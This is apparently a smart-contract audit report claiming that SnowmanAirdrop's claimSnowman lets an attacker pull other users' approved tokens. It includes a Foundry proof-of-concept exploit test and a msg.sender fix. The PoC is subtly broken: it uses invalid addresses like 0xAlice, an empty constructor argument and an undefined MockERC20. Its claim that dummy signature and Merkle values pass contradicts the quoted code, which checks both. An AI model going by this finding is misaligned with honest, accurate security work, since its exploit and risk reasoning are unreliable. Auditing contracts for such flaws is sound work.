Description
The attcker can steal tokens from a random address that have approved the tokens, can also steal tokens from a contract, in short, this bug allows an attacker to pull approved tokens from any user into your contract, effectively stealing them.
function claimSnowman(address receiver, bytes32\[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA\_\_ZeroAddress();
}
if (i\_snow\.balanceOf(receiver) == 0) {
revert SA\_\_ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
Risk
LikeLihood
-
High
Since either the contract or the victim(user) have already approved the contract, attacker can obtain a valid signature or proof for token transfer.
Impact
-
High
Stealing of tokens by an attacker leads to direct financial loss of funds for the user or the contract itself
Proof of Concept
Alice (victim) has previously called approve( ) on the ERC-20 token contract, granting your SnowManAirdrop contract permission to spend X amount of her tokens.
Bob (attacker) wants to steal Alice's tokens.
Attack Execution
Bob calls the ClaimSnowMan function with the following parameters:
receiver = Alice's address
All other parameters (proof, v, r, s) can be arbitrary values that pass the function's validation (e.g., dummy values if the function doesn't properly verify them)
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/SnowmanAirdrop.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ArbitrarySendPoC is Test {
SnowmanAirdrop public airdrop;
IERC20 public token;
address public alice = address(0xAlice);
address public bob = address(0xBob);
uint256 public constant AMOUNT = 1000 * 10**18;
function setUp() public {
token = new MockERC20();
airdrop = new SnowmanAirdrop(address(token), );
MockERC20(address(token)).mint(alice, AMOUNT);
vm.prank(alice);
token.approve(address(airdrop), AMOUNT);
}
function testArbitraryTransfer() public {
bytes32[] memory dummyProof = new bytes32[](0);
bytes32 dummyR = bytes32(0);
bytes32 dummyS = bytes32(0);
vm.prank(bob);
airdrop.claimSnowman(
alice,
dummyProof,
0,
dummyR,
dummyS
);
assertEq(token.balanceOf(address(airdrop)), AMOUNT);
assertEq(token.balanceOf(alice), 0);
}
}
Recommended Mitigation
The safest and most professional fix is to change receiver to msg.sender inside the safeTransferFrom call. This aligns with the standard ERC-20 authorization model and prevents any external party from moving other users' tokens through your contract
i_snow.safeTransferFrom(msg.sender, address(this), amount);